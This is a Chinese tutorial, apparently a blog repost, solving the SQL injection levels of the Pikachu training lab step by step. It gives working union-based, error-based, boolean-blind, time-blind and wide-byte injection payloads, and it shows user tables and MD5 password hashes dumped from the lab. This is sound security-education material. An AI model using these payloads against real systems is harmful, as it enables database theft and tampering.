pikachu - Sql Inject(SQL注入)

admin 2025年1月22日09:04:03评论1 views字数 9096阅读30分19秒阅读模式

声明!

本文由泷羽 Sec-风公众号原创,旨在为初学者提供技术交流与学习的参考,助力技术水平提升。文章中提及的网站内容仅供学习探讨之用,与作者无关。读者需严格遵守法律法规,严禁将本文内容用于任何违法活动,否则一切后果由行为人自行承担。

题记

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statement); 3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不再多写了。 你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。

数字型注入(POST)

‌数字型注入‌是一种SQL注入攻击方式,主要针对应用程序中的数字参数。攻击者通过修改参数值来欺骗应用程序执行非法操作。这种攻击通常发生在应用程序的输入验证不严密的地方,例如在SQL查询中直接使用用户输入的数据,而不进行过滤或转义。数字型注入可能导致数据泄露、篡改或删除等后果。‌

数字型注入的测试步骤和检测方法

‌加单引号测试‌:在URL中添加单引号,例如将 www.text.com/text.php?id=3 改为 www.text.com/text.php?id=3’ 。如果SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。

‌and 1=1测试‌:在URL中添加and 1=1,例如 www.text.com/text.php?id=3and 1=1 。如果语句执行正常,与原始页面没有任何差异,则可以判断存在数字型注入。

‌and 1=2测试‌:在URL中添加and 1=2,例如 www.text.com/text.php?id=3and 1=2 。如果语句可以正常执行,但无法查询出结果,返回数据与原始网页存在差异,也可以判断存在数字型注入。

打开靶场,观察一下

pikachu - Sql Inject(SQL注入)
image

对于sql注入,有许多方式可以来进行测试,这里我借助工具hackbar,这个可以在浏览器扩展工具-应用商店下载。

我们点击LOAD,获取链接及数据,然后输入

id=1 or 1=1--+&submit=%E6%9F%A5%E8%AF%A2

最后点击EXECUTE,可以看到数据已经显示出来了。

pikachu - Sql Inject(SQL注入)
image

我们测试一下该SQL语句有多少字段。

输入SQL语句,数据显示正常。

id=1 order by 1,2--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image

可以看到数据显示异常。

id=1 order by 1,2,3--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image

那么我们就知道了字段数量为2,可以查询一下数据库名

id=1 union select 1,database();&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image

通过SQL注入,得到数据库名之后,便可以查看表名

id=1 union select 1,table_name from information_schema.tables where table_schema='pikachu';&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image

得到了表名,便可以查询字段名

id=1 union select 1,column_name from information_schema.columns where table_name='users';&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image

也可以直接查询数据,但是由于字段数为2,我们无法直接把所有数据全部展示

pikachu - Sql Inject(SQL注入)
image

字符型注入(GET)

字符型注入与数字型注入检测方法相同。数字型注入主要针对数字类型的参数,如ID、年龄等,输入的数据通常是整数或浮点数。而字符型注入主要针对字符类型的参数,如用户名、密码、电子邮件等。输入的数据通常是字符串。

pikachu - Sql Inject(SQL注入)
image

我们输入一个用户名,后边拼接注入语句

sqli_str.php?name=admin' or 1=1--+;&submit=%E6%9F%A5%E8%AF%A2#
pikachu - Sql Inject(SQL注入)
image

可以看到通过闭合单引号,并且在后边加上--+注释掉服务器源代码后边的SQL语句,能够爆出数据,接着我们看一下字段数是多少

pikachu - Sql Inject(SQL注入)
image
pikachu - Sql Inject(SQL注入)
image

可以看出,该SQ语句的字段数也是2,接下来的爆破库名、表名、字段名、数据与POST一致。

pikachu - Sql Inject(SQL注入)
image
pikachu - Sql Inject(SQL注入)
image
pikachu - Sql Inject(SQL注入)
image
pikachu - Sql Inject(SQL注入)
image

记得别忘记了该加引号和不该加引号的地方,如果输错了会报错。

搜索型注入

pikachu - Sql Inject(SQL注入)
image

对于搜索型注入,与字符型注入基本一致

pikachu - Sql Inject(SQL注入)
image

XX型注入

XX型注入是字符型的一个变种,只在闭合方式上有所不同

pikachu - Sql Inject(SQL注入)
image

这一关测试了单引号闭合,提示语法错误,所以我们需要多测试一下,看看应该怎么闭合,经过测试,为单引号+右括号,其他获取数据库数据的方式与前边的注入方法相同

pikachu - Sql Inject(SQL注入)
image

insert/update注入

insert注入:在SQL语句中作为插入语句的关键词,当存在为数据库添加数据(例如注册用户)的行为时,可以用来尝试报错注入

我们尝试对该注册页面进行注入,首先可以看到账号密码是必填项,我们先输入账号,不输入密码,然后点击submit提交,发送该数据包后,我们使用hackbar将填写数据load下来

pikachu - Sql Inject(SQL注入)
image-20250119215004622

我们填写好账号密码,其他无需理会,然后对所有位置进行测试,经过测试,我们可以直接在username这个数据点直接注入

add=&email=&password=123123&phonenum=&sex=&submit=submit&username=admin'and updatexml(1,concat(2,(select database())),3) or '
pikachu - Sql Inject(SQL注入)
image-20250119225337389

可以看到,报错注入已经成功得到该数据库的库名为“pikachu”,接下来我们获取一下数据表

add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '
pikachu - Sql Inject(SQL注入)
image-20250119225453262

可以看到,我们已经获得了表名。并且这里有个需要注意的点,就是为什么需要用group_concat(table_name),使用group_concat函数可以将同一个分组输出的结果连接起来,返回一个字符串结果。

我们看看不使用group_concat函数会是什么样的返回值

pikachu - Sql Inject(SQL注入)
image-20250119225841356

可以看到,数据库直接报错,提示返回值超过1行,而我们上边看到的表名是有5个之多的,所以会造成数据库报错

我们接着获取一下字段名

add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3) or '
pikachu - Sql Inject(SQL注入)
image-20250119230142815

可以看到,共有4个字段,我们查询一下其内容

add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3) or '
pikachu - Sql Inject(SQL注入)
image-20250119230432795

成功获取到账号密码

update注入:在SQL语句中作为修改语句的关键词,当存在为数据库修改数据(例如更新个人资料)的行为时,可以用来尝试报错注入,注入方法与insert注入方法相同

delete注入

Delete注入是指在SQL的DELETE语句中,通过用户输入的数据插入恶意的SQL代码,从而篡改或执行未经授权的数据库操作。这种注入攻击通常用于删除数据库中的数据,但也可以用于获取数据库的结构信息。

我们发个留言,然后把鼠标移动到该留言,删除的位置,可以看到左下角出现了删除按钮的链接,我们load下来后补充?id=57,然后进行SQL注入测试

pikachu - Sql Inject(SQL注入)
image-20250119230731713

我们尝试获取库名,通过id=57,我们可以判断其可能为数字型注入,而数字型注入是不需要使用单引号来进行闭合的,所以我们直接构造SQL注入语句

?id=57 and updatexml(1,concat(2,(select database())),3)
pikachu - Sql Inject(SQL注入)
image-20250119231533171

之后便是获取表名

?id=57 and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3)
pikachu - Sql Inject(SQL注入)
image-20250119232123000
?id=57 and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)
pikachu - Sql Inject(SQL注入)
image-20250119232207312
?id=57 and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3)
pikachu - Sql Inject(SQL注入)
image-20250119232251016

"http header"头注入

对于该靶场,我们首先输入admin/123456进行登录,对于这种弱密码直接爆破很容易得到结果

pikachu - Sql Inject(SQL注入)
image-20250120204816427

接着我们对其进行抓包,开启burp拦截并刷新网站页面可以看到成功将数据包拦截

pikachu - Sql Inject(SQL注入)
image-20250120205018091

接着我们将该数据包发送至重放器,删掉User-Agent的内容,并测试是否需要使用单引号闭合

pikachu - Sql Inject(SQL注入)
image-20250120205219487
pikachu - Sql Inject(SQL注入)
image-20250120205230682
pikachu - Sql Inject(SQL注入)
image-20250120205246309

可以看到,当不使用单引号或者使用两个双引号时,页面不报错,但只使用一个单引号时则报错,那么我们可以确定在该处需要两个单引号来进行闭合,通常我们在测试页面是否有SQL注入点的时候也是用这种方法,就是利用各种字符串来尝试让页面报数据库代码错误,这样就能证明存在注入点。

'and updatexml(1,concat(2,(select database())),3) or '
pikachu - Sql Inject(SQL注入)
image-20250120205738492
1'and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '
pikachu - Sql Inject(SQL注入)
image-20250120214121087
1'and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3) or '
pikachu - Sql Inject(SQL注入)
image-20250120214157531
1'and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3) or '
pikachu - Sql Inject(SQL注入)
image-20250120214310288

基于boolian的盲注

布尔盲注,输入的内容只会返回正确与否,即True或者False,服务器不会返回报错信息

我们找一个正确的账号如kobe来进行测试

pikachu - Sql Inject(SQL注入)
image-20250120220052441
pikachu - Sql Inject(SQL注入)
image-20250120220105873

可以看到,当输入内容为kobe时,页面返回uid和邮箱,如果输入的是kobe'则显示输入的用户名不存在,那么我们可以基于此构造SQL代码来获取正确的数据

首先我们判断一下数据库的长度

?name=kobe' and length(database())>6--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120220345986
?name=kobe' and length(database())>7--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120220426931

通过database()>6返回True和database()>7返回False,可以得到数据库的长度为7

接着我们爆破数据库的首字母,

?name=kobe' and (substr(database(),1,1))='a'--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120220644589
' and (substr(database(),1,1))='p'--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120220707596

当第一个字符为"p"的时候,服务器返回了True,那么我们可以知道数据库名的第一个字符为"p",接着我们获取第二个字符

?name=kobe' and (substr(database(),2,1))='i'--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120220845445

当字符为"i"的时候,服务器返回True,可以得到数据库名的第二个字符为"i",接着一直爆破,最终得到数据库名为"pikachu"

pikachu - Sql Inject(SQL注入)
image-20250120221022783

以此类推,我们获取数据表的表名第一个字符

?name=kobe' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120221149419

一直到爆破到最终,获得表名为httpinfo,member,message,users,xssblind

同理,一直爆破到最后,可以获得表中的字段名

?name=kobe' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120223109473

以此类推

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

基于时间的盲注

在基于时间的盲注中,服务器不会返回报错信息,也不会返回输入内容是否正确,所以我们只能通过时间是否被延长,比如在注入语句中增加sleep(3),如果服务器延迟了3秒才返回内容,则证明注入有效,如果服务器直接返回内容,则证明注入无效来判断我们是否成功注入

?name=kobe' and sleep(3)--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120230221082
pikachu - Sql Inject(SQL注入)
image-20250120230328593

可以看到,当我输入的值为kobe时,加载时间使用了3.10秒,而当随便输入一个不存在的用户时,加载时间仅为97毫秒,我们便可以利用这个时间差来爆破数据库库名、表名、字段名以及数据

获取库名

?name=kobe' and sleep(if(ascii(substr(database(),1,1))=ascii('p'),3,0))--+&submit=%E6%9F%A5%E8%AF%A2

以此类推,获得数据库名为'pikachu',需要注意的是,在SQL语句中,比较运算符使用 = 而不是 ==

获取表名

?name=kobe' and if(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='h',sleep(3),0)--+&submit=%E6%9F%A5%E8%AF%A2

以此类推,获得所有数据表的表名为httpinfo,member,message,users,xssblind

获取字段名

?name=kobe' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',sleep(3),0)--+&submit=%E6%9F%A5%E8%AF%A2

以此类推,所有字段名为id,username,password,level

宽字节注入

宽字节是指两个字节宽度的编码技术,像GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常说的宽字节编码。宽字节注入主要是利用了字符编码转换过程中的漏洞,当应用程序的数据库连接使用宽字节字符集,且存在SQL注入漏洞时,攻击者可以通过构造特殊的SQL语句,绕过输入过滤,执行恶意SQL命令。

在PHP中,addslashes()等函数用于转义特殊字符,如单引号、双引号、反斜线等,以防止SQL注入。但在GBK编码下,MySQL会将两个字节识别为一个汉字,当攻击者在单引号前添加特定的字节(如%df),经过addslashes()转义后,MySQL会将%df和转义后的反斜线%5c解析成一个汉字,从而使单引号成功逃逸。

我们先来看看能不能安装常规注入方式进行注入

name=kobe' or 1=1--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120232619344

可以看到,单引号并不能使服务器报错,也就是说,单引号被过滤了,那么我们使用%df'来进行宽字节注入看看情况

name=kobe%df'+or+1=1--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120232336056

可以看到,使用宽字节注入能够成功得到数据,我们看一下字段数是多少

name=kobe%df'+union+select+1,2--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120232914805

当字段数为2时,服务器回显数据不报错,我们接着获取库名

name=kobe%df'+union+select+1,database()--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120233007864

获取表名

name=kobe%df'+union+select+group_concat(table_name),2+from+information_schema.tables+where+table_schema=database()--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120233416086

获取字段名

name=kobe%df'+union+select+group_concat(column_name),2+from+information_schema.columns+where+table_name=0x7573657273--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120233954210

这里由于无法再次使用%df'来另ASCII编码的'users'生效,所以将users直接转为16进制编码0x7573657273

获取数据

name=kobe%df'+union+select+group_concat(id,username,password),2+from+users--+&submit=%E6%9F%A5%E8%AF%A2
pikachu - Sql Inject(SQL注入)
image-20250120234255751

最终获得对应ID、账号和MD5加密的密码:

1,admin:e10adc3949ba59abbe56e057f20f883e(123456)

2,pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

3,test:e99a18c428cb38d5f260853678922e03(abc123)

原文始发于微信公众号(泷羽Sec-风):pikachu - Sql Inject(SQL注入)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日09:04:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pikachu - Sql Inject(SQL注入)https://cn-sec.com/archives/3657785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息